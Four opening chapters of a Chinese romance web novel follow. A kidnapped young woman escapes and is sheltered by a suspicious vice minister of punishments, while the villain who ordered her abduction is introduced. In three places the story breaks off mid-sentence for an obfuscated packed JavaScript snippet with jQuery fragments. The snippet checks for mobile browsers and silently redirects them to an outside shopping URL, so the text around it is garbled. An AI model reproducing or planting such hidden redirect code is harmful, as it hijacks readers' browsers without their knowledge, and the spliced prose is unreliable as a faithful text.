《侍郎他坐怀不乱?》
1. 第 1 章
三月春寒未消,晚风料峭。
一轮孤月悬在半空,月光自一处房顶破洞穿过,尘埃在光柱里肆意翻飞,勉强照见角落里蜷着的一道女子身影。
温时玉是被冻醒的,后脑勺隐隐发胀,四肢酸软麻木,意识如同被浓雾裹挟,许久才从混沌中恢复清明。
她今日头一回来京城,看什么都觉得新鲜,不知不觉便逛至暮色四合。一个卖货郎不知打哪儿忽然窜出,拦住了她的去路,手中捧着个小巧精致的锦盒在她面前晃悠,一股奇特的异香猝不及防钻进鼻腔,她刚察觉不对,意识就如同断线风筝,飘得无影无踪了。
触手皆是一片冰凉,屋内空空荡荡,除了一张破木头桌子、两张凳子和一堆干草以外什么都没有,霉味混着尘土气,在狭小的空间里弥漫,呛得人不敢大口呼吸。
门外两道粗哑嗓音的交谈声,透过门板清晰地钻进她耳中。
“你说这小娘们,长得是真勾人,那脸蛋那身段,啧啧。”
“别瞎琢磨,这可是公子要的人,咱哥俩只管看好她,等拿了公子的赏赐,再去快活快活也不迟。”
“这么个细皮嫩肉的小娘们,还能叫她跑了不成?”
温时玉眼神闪了闪,怪不得他们只将她丢在这屋子里,都未曾束缚住她的手脚,合着是压根没把她放在眼里。
她轻手轻脚地起身,像只正欲捕食的狸奴,机警又小心地挪到门边,顺着门板的缝隙向外看,一道粗重的铁链挂在正中,温时玉不由得心一沉。
屏气凝神仔细听了片刻,确定门外只有这二人,她这才后退几步,颤抖着开口:“有人在吗,这是哪?”声音里带着恰到好处的惊恐,似是刚从昏迷中醒来,惊魂未定。
门外霎时一静,两名男子压低声音嘀咕了几句,约莫是在商议要不要进来查看。片刻后,伴随着“哐当”一声铁链落地,破旧木门被推开,寒风顿时涌了进来。
一个瘦高个男人率先进门,眼睛滴溜溜地在她身上打转,脚步拖沓地朝着她走来,鞋底蹭着地面,发出令人不适的声响。
温时玉看到他满脸惊慌:“你……你是谁,这是什么地方?”
那人笑得猥琐:“小娘子别慌,这当然是能让人快活的地方,要不让哥哥先陪你玩玩,好不好?”
“我说你差不多得了,别真伤着她,不然有你好果子吃。”门外的声音听起来似乎有些不耐烦。
瘦高个不为所动,步步逼近,眼神黏在温时玉身上,像只沾满油污围着人打转的苍蝇,恶心至极。
“你……你别过来!”温时玉一副任人欺凌的模样,害怕地连连后退,余光瞥见脚下的凳子后停住了脚步。
男人舔舔嘴唇,冲她扑了过来。
即将触碰到她脸颊的瞬间,温时玉眼底的怯懦瞬间褪去,身形猛地一矮,灵巧避开男人的一双脏手,双手顺势握住凳腿,猛然发力向上一抡,动作干脆利落,没有半分拖泥带水。
“嘭”的一声闷响,那张老旧的板凳狠狠砸在他头上,木屑飞溅,四分五裂,男子毫无防备,连惨叫都只发出一半,便晃了两下,一头栽倒在地。
门外的络腮胡听见动静连忙跑进来,还未等他适应屋子里的黑暗,一节断裂的木头尖刺便抵在了他脖颈处,木尖锋利,刺得他皮肉发疼。
他使劲眨眨眼,看着这个比他矮了一头的小女子,眼神如刀尖般锐利,似乎只要他敢动一下,这根尖锐的木刺便会毫不犹豫地刺穿他的喉咙,让他血溅当场。
不过愣神的功夫,温时玉已然瞅准时机,抬腿狠狠踹在他要害处,力道又快又准,络腮胡疼得腰猛地一躬,身子蜷缩成一团,压抑的痛哼刚从喉间溢出,温时玉手中的木棍又正中他后颈,他顿时眼前一黑,一手捂着下身,一手抱着头跪倒在地。
见状温时玉没有丝毫停留,拔腿就跑。
身后传来男子咬牙切齿的嘶吼声:“没死就快起来追!要是让她跑了,公子非扒了咱们的皮!”
巷子狭窄逼仄,堆满了废弃的杂物与碎石,她顾不得踢到了什么,只一个劲地向着有光的地方逃。
汗水从额角滑落,发丝散乱贴在汗湿的脸颊上,裙摆不知被什么东西被划破,不慎将她绊倒,顾不得身上的疼痛,她咬牙扯断那截碍事的布条爬起来继续狂奔,胸腔被急速喘息吸入的冷空气蛰得生疼,也不敢有半分停顿。
不知跑了多久,身后的动静似乎彻底消失在夜风里,温时玉回头,借着月色望了一眼身后漆黑的巷子,心头稍稍一松,脚下却依旧不敢放慢。
就在转头的刹那,巷口左侧忽然晃过一片黑影,她收势不及,身形猛地撞进一个坚实的胸膛,力道之大,让她踉跄着后退两步,险些摔倒在地。
“什么人!”
一道警惕的喝声响起,眼前寒光一闪,刀已出鞘。
温时玉大惊,立马转身要跑,胳膊却被人一把抓住,她反手握拳向着那人面庞挥去,两三招下来却被他钳制,挣脱不得。
她故技重施抬腿就踢,也被他避开,她不死心,一脚踩在他靴面上,用尽全身力气碾了碾。
“嘶——”男子低低抽了口冷气,手上力道却不减,牢牢将她桎梏在身前。
一股清冽的冷松香瞬间包裹住了她,这股味道让她渐渐平复了慌乱的心跳,这才抬眼看清眼前人的模样。
男子约莫二十几岁的年纪,一袭绯色官袍衬得他身姿愈发挺拔,他的五官生得极好,剑眉星目,鼻梁高挺,眉眼间却带着一种拒人千里的疏离感,整个人像一把寒刃,锋利又冰冷。
一双幽黑的眸子如深秋寒潭,此刻正带着几分审视和探究落在她身上,却无半分恶意。
随着他身后那人“唰”地一声合上了刀鞘,温时玉紧绷的神经也稍稍放松。
“你是何人,大半夜在这做什么?”
男子开口,带着一丝质问的语气让温时玉不禁有些气恼,看不见她都这副狼狈模样了么?还问她做什么。
如此眼盲心瞎,还是个做官的。
“那大人这么抓着我,是做什么?”手腕被抓得发疼,她蹙眉,不满地睨了他一眼。
男子一愣,手上下意识一松,又抓紧,郑重道:“我放开你,你别跑,我乃刑部侍郎裴珩,告诉我发生何事了?”
她这才抹了把即将滑进眼角的汗珠,答道:“有人将我迷晕关起来,我好不容易才逃出来。”想起方才的情形,不禁还是有些后怕。
裴珩闻言一凛,抬眼看向她身后的巷子,他眼力好,巷子那头似乎确有两个黑影一闪而过。
而她,鬓发凌乱,衣衫斑驳,一张莹白小脸上汗水和尘土黏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485475|201979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在一块,颇有几分狼狈。
方才见她身姿凌厉出手果断,还以为是犯了事的江湖女子,没想是被人绑了。裴珩这才散去戒备,语气缓和了几分:“可看清那歹人的相貌,听他们说了什么,或是有拿到他们身上什么东西?”
温时玉吸了吸鼻子,仔细回忆着:“一个瘦瘦高高的,三角眼,腿有点跛,一个比较壮,络腮胡,只听他们管那个人叫公子,别的就没有了。”
裴珩思索着点点头:“你叫什么名字,家住在哪,我先送你回去。”
“温时玉,我家不在这……”说到这她一愣,慌忙摸了摸胸口。
熟悉的硌人手感没有出现。
她的玉佩呢?!
“大人!我的玉佩丢了,是我很重要的东西,大人能不能帮我找一找……”她一把抓住裴珩衣袖,急道,一双潋滟杏眼里盛满了惊慌无助。
看着她眼眶泛红,升腾起丝丝雾气,裴珩的心像是被什么东西撞了一下,又酸又软。
“莫慌,”他声音有些发紧,“先顺着巷子找一找,看能不能找到关押你的地方,我也好去查查可有线索。”
说罢他又看向她破碎不堪的裙摆:“你还能走吗?”
温时玉顺着他的视线向下看,裤腿上渗着血迹,不知何时被划破了,脚腕也传来阵阵钝痛,应是方才扭到了。她试着动了动,摇摇头:“没事,能走。”
裴珩薄唇紧抿,转身蹲到她面前,言简意赅:“上来。”
他要背她?温时玉站在原地搓着衣角,沉吟道:“大人,这……这不好吧。”
裴珩头也没回,淡淡道:“要么我背,要么他背,选一个吧。”
还有个人呢。
温时玉这才转头看向那位隐匿在黑暗中、雕塑一般毫无声息的年轻男子。这人看起来比裴珩还要吓人,四目相对时锐利的目光简直看得她心里发毛。
她抿了抿唇,默默趴到裴珩背上。
不知是不是错觉,她似乎听到了一声轻笑。
“还记得是从哪边过来的吗?”裴珩问。
温时玉抬起头,拨浪鼓一样晃着脑袋,看看左边,又指指右边,支支吾吾道:“记不清了……”
像是早料到如此,裴珩向身后男子颔首道:“惊风,你去看看。”
“是。”
惊风领命,足尖轻点,飞身跃上房顶,观察着哪边有凌乱的痕迹,再给裴珩指路。
“好厉害。”温时玉看着他轻盈的身影不禁感叹,怪不得叫惊风,真就像一阵风似的。
裴珩抬眼看了看那道消失在黑暗中的身影,声音听不出情绪:“这便厉害了?”
温时玉点头:“对啊,飞檐走壁,来无影去无踪,大侠不都是如此?”
夜风拂过,她穿的单薄,方才又出了一身的汗,风一吹冷得直打颤。裴珩的背不算宽厚,却十分温暖,这份暖意不禁让她下意识往他背上贴了贴。
“大人也会吗?”她随口问。
月色皎洁,裴珩耳尖渐渐漫上一层绯色。
“自然。”他答。
远处传来更夫敲梆子的声音,一下一下,沉闷而悠长。
看到那抹绯色自耳尖一路蔓延到他的脖颈,温时玉忍不住弯了弯唇角。
“是吗,那大人也很厉害。”
2. 第 2 章
温热的气息扫过耳畔,痒得人心尖发颤。
裴珩身子一僵,呼吸陡然急促了几分,心跳声在胸腔里擂鼓似的,一下比一下响,他几乎怀疑,她也能听见。
“大人,这边。”
惊风的声音自前方传来,平稳无波,恰似一抔清泉,稍稍浇灭了他心底的躁动。
有惊风在前方引路,几人沿路细细排查,目光扫过每一处角落,却始终没见到那枚玉佩的踪影。直至转了几个弯,温时玉眼前出现一道熟悉的破败轮廓,此刻屋门大敞,早已空无一人。
裴珩小心地将她放下,率先走进屋内,目光沉沉地打量着四周,试图寻找歹人留下的蛛丝马迹。惊风守在门口,目光警惕地扫视着巷口的动静,防止有意外发生。温时玉则快步走到干草堆旁,蹲下身细细地扒拉着每一根干草。
屋内一片狼藉,地上几行凌乱的脚印,四散的断裂的木头碎屑,还有一滩已经干涸的暗红血迹,除此之外再无其他。裴珩也不再迟疑,蹲下身陪着她一同翻找起来。
随着二人细致地将屋内的每一处角落都翻找殆尽,温时玉的心也一点点沉了下去。
如今她带的盘缠被那伙歹人搜刮得一干二净,玉佩也丢了。那是母亲给她的去找舅舅的信物。也不知舅舅有没有得到她进京的消息,若是没有,她连见舅舅一面都是问题。
正暗自焦灼思忖着,裴珩的声音响起,似是在安抚她:“那伙歹人想来会将玉佩拿去当铺换钱,我会让人留意京城内外所有当铺,你不必太过惊慌。”
温时玉心思一转,悄悄觑了眼裴珩的脸色,语气带着几分为难与小心翼翼,试探道:“可……可我如今身无分文,无处可去,大人能不能收留我几日?”
裴珩眉心一跳,没有立刻应声。
见他沉默,温时玉垂下眼,泪水在眼眶里打转,将落未落,声音带着隐忍的哭腔,惹人怜惜:“我知道,这样太麻烦大人了,可是我实在害怕,若是再被那伙歹人捉了去,我不知还能不能有幸再逃出来……”
罢了,收留她几日也无妨。
“也好。”裴珩应道。
惊风站在门口,耳朵顿时竖起,大人他竟应了?他跟随裴珩多年,裴珩什么性子他再清楚不过,素来谨慎多疑,怎会轻易将一个来历不明的女子带回府?
果然,屋内裴珩话音刚落,便又补充道:“明日我会让人请画像师来,你将你记得的那两个歹人的相貌细细描述出来,或是想起什么细节再告知于我。”
惊风这才放下心来,大人心思缜密,这般安排果然自有他的道理。
温时玉闻言,忙不迭点头,脸上的委屈瞬间烟消云散,泪花还凝在睫上,嘴角便绽开两道浅浅的梨涡,眉眼弯弯,眨眼间像天上闪烁的点点星子。
“多谢大人!大人真是好人。”
裴珩看着她这般模样不禁有些好笑,方才还泪眼婆娑,转瞬又喜笑颜开。忽然想起有位友人曾打趣,说自家娘子变脸比翻书还快,当时他还不信,如今见了温时玉,才觉得这话半点不假。
“走吧。”他再次蹲下身,语气里带着些他自己都没觉察的温柔。
温时玉这次没有犹豫,脚步轻快地跳到他背上,双臂环住他的脖颈。
风声缠绵,巷子里的脚步声轻轻浅浅。
许是方才奔逃消耗了太多精力,她只觉得头脑昏沉,眼皮也越来越重,脑袋控制不住地一点一点,最终安然靠在他肩窝处,呼吸逐渐变得均匀轻柔。
感受到她身子往下滑,裴珩托着她腿弯处的手紧了紧,侧头看了她一眼。她睡得十分安稳,眉眼柔和,显得格外乖巧恬静,温热的呼吸喷洒在他脖颈,与他的气息交织缠绕。
夜里风凉,幸好此地离他的府邸不算远。他脚步一顿,回头看向跟在身后的惊风。
“方才飞檐走壁,热了吧?”
惊风不明所以,大人这是在关心他?他朗声应道:“谢大人,卑职不热。”
裴珩没动作,神色依旧。
惊风握着刀柄的手紧了紧,这才后知后觉明白了他的用意,开始解自己的外袍:“……有点热。”
袍子将温时玉拢了个严实,裴珩这才继续迈开步子。
不多时,三人便抵达了裴府。
府内的丫鬟小厮见裴珩背着一个女子回来,皆是一脸惊奇,却又不敢多看,只能匆匆扫了两眼,便低下头,暗自揣测着这女子的身份。
裴珩对此毫不在意,径直背着温时玉穿过回廊,思索片刻还是转向一处离他住处最近的院子,小心将人放在榻上。
她睡得倒沉,只是微微掀起眼皮看了他一眼,不知嘟囔了一句什么,便又安稳睡了过去,模样格外乖巧。
裴珩站在榻边没有动。
他本该转身离开,却不由自主停住了脚步,脸上依旧没有什么表情,冷淡得像一尊玉雕。
“啪!”
烛芯爆裂的声响在静谧的屋内十分清晰,裴珩这才意识到,他似乎呆得太久了,随即转身出门,对门外丫鬟吩咐道:“给她简单梳洗一下,处理好身上的伤口,动作轻些。”
“是,大人。”两个小丫鬟应声,转身下去准备。
裴珩将手中的外袍随手扔给一旁的惊风:“你在这儿守着,等收拾妥当再去书房找我。”
惊风默默接过外袍重新穿好:“是。”
*
日上三竿,窗外透进来的阳光有些刺眼,温时玉抬手盖在眼上,懒懒地翻了个身。
房门被轻轻推开,进来的人正是昨日给她上药的小丫鬟,青荷。
青荷捧着水盆,见她醒了,脸上立刻绽开明媚的笑,声音软乎乎的:“姑娘醒啦?奴婢伺候您梳洗吧,大人正好刚回府,这会儿在前厅等着您用午膳呢。”
温时玉点点头,借着青荷的搀扶起身,简单梳洗妥当,便跟着她穿过回廊往前厅去。
裴珩坐在主位上,正低头翻看手中卷宗,神色专注,直到脚步声临近,他才缓缓抬眼:“看样子,好些了。”
温时玉一愣,昨夜上药的画面瞬间涌上心头。
青荷当时告诉她,大人说一定要把扭伤处的淤血揉开,这样两日便能痊愈,不然要疼上十天半月。她咬着牙应了,可没料到这小丫头看着瘦弱,手上力气却不小,疼得她差点哭出声。不过确实是有用的,今日她已经能如常行走了。
她走到桌前,与裴珩面对面坐下,不由自主地将腿往后缩了缩:“是好多了,谢大人关心。”
裴珩不置可否,目光扫过她身上略有些紧绷的衣裙。府中没有女眷,自然也没有女子衣物,只能让她先穿青荷的,青荷身量小,衣裙穿在她身上显得有些局促。
他将手中案卷收起放在一旁:“午后叫人来给你裁衣裳。”
温时玉的注意力正在桌上的饭菜上,荤素搭配,香气扑鼻,只随口应道:“不用这么麻烦,我去外面成衣铺子买两身就好。”
“不可,”裴珩想也没想便拒绝,“那伙歹人抓到之前,你还是不要出府的好。”
“啊……”不让出府,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485476|201979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那岂不是要憋死人了,她顿时没了食欲,眼珠转了转,露出一个略显讨好的微笑,“那、那大人安排两个人跟着我嘛,我又不会乱跑。”
“不可。”
“哦。”温时玉撇撇嘴,脸上写满了“我不乐意”四个大字。
好心为她着想,她倒还不领情。沉默片刻,裴珩还是松了口:“那便等明日我带你去。”
话音刚落,温时玉立即粲然一笑,一口应承下来:“多谢大人。”
用完膳,丫鬟们重新呈上一壶新茶,裴珩端起茶盏,状似无意地问道:“还没问你,是打哪儿来的?”
“青阳。”温时玉答得干脆。
“青阳县,”裴珩的语气不疾不徐,像是在跟她闲聊,“似乎离泾县不远,那边出产的宣纸倒是闻名,你去过吗?”
温时玉摇摇头:“没去过,倒是听说过,青阳离泾县还有好几十里地呢。”
“那你此番进京,所为何事?”
温时玉略微思考:“其实也不做什么,只是生于青阳长于青阳,听闻京城繁华,想来见识一番罢了。”
裴珩点点头,又道:“青阳县令我记得是个年轻人,姓胡还是姓洪来着?”
“大人记错了,是周县令,哪里是个年轻人,胡子都一大把了。”她打趣道。
“啊……倒是我记岔了,”裴珩也跟着笑了一声,“青阳县南边的青阳山颇有名气,你可去过?”
“去过呀,”她像想起了什么,眉眼弯弯,“山顶风景可美了,我和阿爹还去山里打过兔子呢。”
“是吗,”他淡淡应着,话锋一转,“那你父亲是做什么营生的?”
“我阿爹是武馆师傅,功夫可好了。”
“你的功夫便是他教的?”
温时玉想起被他轻松化解的招数,有些不好意思道:“练武太苦了,阿爹阿娘心疼我,只教了些皮毛,不至于轻易让人欺负了去。”
裴珩的目光落在她手上,那双手纤细白嫩,确实不像练过武的样子。
他的问题她都对答如流,身为刑部侍郎,他审过的犯人不计其数,真话假话一听便知。
她没有撒谎。
至少,这几句没有。
不多时,画像师背着画板、提着笔墨匆匆赶来。
温时玉将玉佩描述的仔细,连哪块有些磕碰都记得清楚。可说起那两个歹人,当时天太黑,她又太过紧张,任她怎么回想,也记不清他们完整的模样了。
画像师依着她零碎的描述,反复修改了数次,最终画出来的人像也模糊得很。
她肩膀沉了下去,垂头丧气的:“对不起大人,我记不太清了,画出来的不怎么像。”
“无妨,”裴珩宽慰道,“那般险境,你能顺利脱身已是不易,有画像和玉佩,总能给查案提供方向,剩下的交给我就好。”
闻言,温时玉眼底阴霾一扫而空,连连点头:“好,大人这么厉害,肯定能抓到他们。”
“哦?”裴珩挑眉,追问道,“你我素不相识,怎知我厉害?”
温时玉卡了壳,脸上的表情僵了一瞬,方才一时情急夸得太满,竟被他问住了。
她垂眸,一副沉思模样,盘算着怎么圆过去,片刻后,坐直身子,一本正经道:“大人忘了?青阳县令我见过的,胡子一大把的老头才只是县令,而大人这么年轻就已经在京城做了官,所以大人一定很厉害!”
裴珩斜睨她一眼,又淡淡收回目光,面上波澜不惊。
马屁拍的还挺中听。
3. 第 3 章
翌日午后,裴珩如约带她出门。他一袭竹青色常服,腰间束着墨色革带,比穿官袍时少了些凌厉,多了几分清隽。
马车静候在府门外,上车时,裴珩向她伸出手,温时玉犹豫了一瞬,还是抓着他的胳膊,踩着脚踏上了马车。
裴珩紧随其后落座,车厢不算宽敞,两人相对而坐,膝盖几乎要碰到一起。马车晃晃悠悠前行,不经意间的触碰似乎逐渐让气氛泛起些涟漪,在车厢内漫延。
“身为朝廷命官,行事不好太过张扬,马车简陋,委屈你了。”裴珩的语气听起来带着一丝歉意。
温时玉连忙摆手:“大人说的哪儿的话,大人顾及我脚伤未愈,特意找了马车出行,我已经很感激了。”
外面逐渐热闹起来,温时玉忍不住撩开车帘往外看,鳞次栉比的店铺,熙熙攘攘的人群,挑担的货郎扯着嗓子吆喝,卖糖画的老汉被一群孩童围着,叽叽喳喳地抢着要先画自己心仪的图样。
她看得入神,眼睛亮亮的,一脸好奇与欢喜,裴珩坐在对面,不自觉的勾起嘴角,阳光落在她脸上,他连她脸颊上的细软绒毛都看得清楚。
“大人,”她忽然转过头来,“京城好热闹啊。”
他忙将目光也投向帘外,淡淡“嗯”了一声。
温时玉毫不在意他称得上冷淡的反应,依旧颇有兴致地看着街景,时不时问他几句,裴珩一一耐心解答,每答一句,嘴角的弧度就大一分。
马车悠悠停在一家铺子门前。
云裁坊,乃京城首屈一指的成衣铺子,铺内装修雅致,货架上整齐叠放着一匹匹华贵罕见的料子,蜀锦、苏绣、织金纱罗应有尽有,铺内的绣娘更是个个身怀绝技,绣出的花鸟鱼虫活灵活现,栩栩如生。
只是这般华贵的铺子,价格自然也不菲。
温时玉像头误入宝库的小兽,这个摸摸,那个瞧瞧,每匹料子都爱不释手。
看她两眼放光,裴珩只觉得钱袋子不保,幸好出来时带的银钱足够多,不然怕是要在这么多人面前闹了笑话。
“大人,”温时玉手里拿着一件藕荷色的软烟罗裙,举到身前比量,“这件好看吗?”
裴珩的视线从她脸上移到衣裳上,又移回她脸上,目光在她脸上停留的时间比看衣裳的时间长。
而后吐出两个字:“尚可。”
“喔,”她又拿起一件雪青色的,“这件呢?”
“尚可。”
“这个呢?”这次换了浅碧色。
“尚可。”
温时玉:……
“大人的意思是,我穿哪件都不好看?”她佯装不满。
裴珩:“……都好看。”
温时玉得意地“哼”了一声,转身继续喜滋滋地挑选着。
她率先换上的是一件海棠红织金纱襦裙,外罩一层薄如蝉翼的藕荷色披帛,腰间束一条鎏金嵌珠软带,将盈盈一握的腰肢衬得恰到好处,裙身绣金线海棠,花瓣层层摇曳,风情自生,艳而不俗。
“大人,这件好看吗?”
她提着裙摆转了一圈,窗外夕阳透过窗棂洒在她身上,金辉与红影交错流转,将她衬得愈发明艳动人,一眼便让人移不开目光。
裴珩看着她,一时之间竟有些失神。
“大人?”
见他不说话,她又喊了一声。裴珩回过神来,将目光移向别处,声音有些哑。
“嗯……尚可。”
这人除了“尚可”好像没别的说辞,温时玉索性也不再问,只选喜欢的试,目光扫过货架,忽然瞥见一件月白色外袍,颜色雅致沉稳,款式利落,瞧着便十分适合裴珩。
她眼睛一亮,快步走过去将袍子取下:“大人要不要试试这件?”
没等他说话,她已经踮起脚尖将袍子披到了他身上。
裴珩推拒的话咽了回去,由着她摆弄,微凉的指尖不经意擦过脖颈,他顺着她的动作低头,一团火苗,猝不及防地烧进了他眼底。
海棠红的颜色衬得她肤如凝脂,纤细的锁骨下方,满眼玉色之中,一颗殷红的小痣格外晃眼,像一朵小小的红梅,绽放在白雪之上,诱人探寻。
他呼吸一滞,气血瞬间翻滚着往上涌,喉结不受控制地滚了滚,目光死死锁在那颗小痣上,明知行为放浪,却怎么都移不开眼。
想起昨夜她伏在他身上时的柔软触感,裴珩心底的躁动不受控制地再次被点燃,比昨日在巷子里还要浓烈几分。
鬼使神差地,他一把抓住了她正在整理腰带的手。十指纤纤,柔弱无骨,指甲莹润小巧,泛着淡淡的粉。
这般漂亮的手,只是系个腰带,可惜了。
温时玉被他突如其来的动作弄得一惊,下意识挣了挣,却被他握得更紧。见裴珩面色晦暗,她心里泛起一丝慌乱:“大人,你怎么了?”
察觉到失态,裴珩猛地松开她的手,垂眸敛去心底情愫:“抱歉,方才想起一些关于案子的事,吓到你了。”
温时玉拖长语调“喔”了一声,冲他眨了眨眼:“还以为大人是嫌这衣裳价格太贵了,舍不得呢,既然不是,那我能不能再选几身?”
“自然。”裴珩应得很快。
温时玉乐呵呵在店小二的带领下继续试着衣服,似乎全然没把方才的事情放在心上,而裴珩的脸色却已悄然阴沉了下来。
身为国公府世子,多少人挤破头想要巴结他这位小公爷,身居刑部侍郎之位后,又有多少人变着法的往他身边送金银珠宝、各色美人。他自诩沉稳自持,坐怀不乱,却偏偏被这女子不经意的靠近搅得心神大乱。
似乎是他的目光太过灼热,被正比量着衣裳的温时玉察觉,四目相对时,裴珩看着她身上依旧耀眼的海棠红罗裙欲言又止,沉吟片刻后还是开口道:“你还是先换一身衣裳吧。”
温时玉一脸不解:“这件不好看?”
裴珩避开她的目光,找了个合理的借口:“这件衣裳颜色太过惹眼,那伙歹人还没抓到,怕你再被他们盯上,还是换件素色的稳妥些。”
也有道理,温时玉点点头,转身去换了一件浅杏色罗纱襦裙,上襦绣着细碎的杏花花瓣与蝴蝶,颜色嫩而不娇,与方才的风情截然不同,她转着圈问裴珩这件好不好看时,像只在枝头蹦跳的小雀,娇憨灵动。
最主要的是,这件领口比较严实。
裴珩点点头,将方才她挑选的几件成衣全都包起来,又额外选了几匹上好的料子,量了她的尺寸,一并付了银钱。
看着白花花的银子递出去时,温时玉莫名有一丝心虚,她摸了摸鼻尖,小声道:“大人破费了。”
裴珩神色未变:“无妨。”
……
暮色渐浓,裴府书房内烛光摇曳,映得裴珩的脸色晦暗不明。
他端坐桌前,捧着一卷卷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485477|201979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宗,却一个字也没看进去,心底的疑虑与悸动交织,难以平静。
闭了闭眼,想将那画面从脑中驱逐出去,却发现它已经像烙铁一样印在了那里,怎么都抹不掉,扰得他心烦意乱。
她的一颦一笑,她的手,还有那颗小痣。
他当时盯着那颗小痣看了多久?
一旁的惊风神色凝重,一副心事重重的模样,虽然裴珩掩饰的很好,可他还是从中察觉出了一丝不对劲。
“有话就说。”裴珩开口,打破了书房的沉寂。
惊风犹豫片刻,还是直接道:“属下直言,这温姑娘出现的时间未免太过巧合了些,大人不得不防。”
裴珩没有接话,抬手揉了揉眉心。
近日城中几起女子失踪案正闹得沸沸扬扬,还没查出来眉目,偏就那日正巧叫他遇上温时玉被绑,焉知是不是有人故意给他安排的障眼法。
他不是看不出来,不是不怀疑,甚至比惊风更早意识到,只是……
沉默良久,他才开口:“我知道。”
惊风张了张嘴,还想再说什么,门外忽然传来一阵脚步声。
很快,门被轻轻叩响,温时玉清脆的声音从门外传来:“大人在吗?”
裴珩眼神微动,略微颔首,示意惊风去开门。惊风领命上前,打开房门后识趣地退到了门外,关门时还颇为担忧得看了裴珩一眼。
温时玉走到案前,向裴珩晃了晃手中书信:“大人,可否麻烦大人明日帮我将这封信寄给我父母,报个平安?”
说罢她主动抽出信纸,递到他面前:“大人看过后再寄也无妨。”
裴珩接过来,却没打开看:“如此不妥。”
温时玉笑眯眯的:“不过一封报平安的家书罢了,况且,里面也提到了大人,大人看了也无妨。”
“时辰不早,大人也别太累,早些歇息吧,”她没再多留,手刚触及门扉,又回头挑眉,“大人可别忘了帮我寄信。”
裴珩目光紧紧锁在那张折起的信纸上,明知她既然敢让他寄信,便不会让他从信中得知什么隐秘,可她那句“提到了大人”,还是让他不由得好奇。
待门外的脚步声彻底消失,他终究还是没忍住,伸手将信纸拿了起来,娟秀的字迹映入眼帘:
“……女儿在京城遇险,幸得刑部侍郎裴大人相救,裴大人才高八斗,学富五车,风姿卓绝,气度不凡,皎皎如明月,朗朗如清风……救女儿于水火之中,给予安身之所,女儿得裴大人庇护,一切安好,衣食无忧,父亲母亲不必挂心……”
看到这,裴珩眉心狠狠跳了两下。整封信除了寥寥几句报平安的话,便是将他夸了又夸,那般天花乱坠的说辞,与媒婆牵线时惯用的客套话并无二致。
怪不得让他看,她故意的。
他将那封信又看了一遍,几乎能凭空勾勒出她写信时的模样——托着下巴冥思苦想、写完后偷笑,说不定此刻她正躺在榻上,想象到他看到这封信时的反应,乐不可支。
裴珩将信重新装好封口,叫了惊风进来。
“直接派人去青阳,将这家人的底细查清楚了,至于她……”说到温时玉,他顿了顿,“先留在府里,叫青荷仔细盯着。”
至于她,若真是歹人,在他眼皮底下总比看不见得好。
惊风领命,刚打开门要走,又被叫住。
“别怠慢了她。”
4. 第 4 章
黑夜逐渐吞噬世间万物,月色被厚重的云层遮蔽,天地间一片昏暗。一座富丽堂皇的宅院深处,隐隐传出几声女子隐忍着的啜泣声,破碎又绝望。
屋内,一名年轻男子衣衫不整地掀开内室帘子走出来,一身锦袍松松垮垮地搭在身上,眉眼间带着几分慵懒与阴鸷。他扫了一眼跪在地下瑟瑟发抖的青年,自顾自地走到上首的椅子上坐下,慢悠悠地喝起茶来。
“你是说,人跑了?”他神色淡漠,声音听不出喜怒。
跪在地下的青年抖得愈发厉害:“是,是小人办事不力……”他结结巴巴地应着,连呼吸都不敢大声。
年轻男子一脸平静,仿佛根本无事发生一般。青年额角的冷汗渐渐汇聚成珠,滴落在冰凉的地面上,汗珠落地的瞬间,“啪”的一声,年轻男子手中的茶盏也狠狠砸在他眼前,瓷片飞溅在他脸上划出几道血痕,他却连动都不敢动一下。
“废物!”年轻男子声音陡然拔高,“跑了不会去追?连个人都看不住,要你们有什么用?”
青年将头磕的砰砰响:“公子饶命!公子饶命啊!也不知怎得这么巧,那小娘们逃跑时正好叫裴大人撞见了,人已经被带回裴府了,小人实在是没法子啊!”
闻言,上首男子一愣:“你说裴珩?你看准了?”
“看准了,看准了,小人昨夜就去裴府附近蹲守,今儿个亲眼见着裴大人带着她出来进去的,错不了。”
年轻男子面色阴沉,眼底翻涌着阴狠的戾气,周身散发着令人窒息的压迫感。
感知到来自上方的杀意,青年一凛,伏在冰凉的地砖上,抖如筛糠:“公子放心,他绝查不出什么东西的。”
“呵,”年轻男子仿佛听到了什么天大的笑话一般,语气里满是嘲讽与不屑,“你手底下那两个蠢货,被那女子看见了脸,还能瞒得住?你以为他裴珩是吃干饭的?”
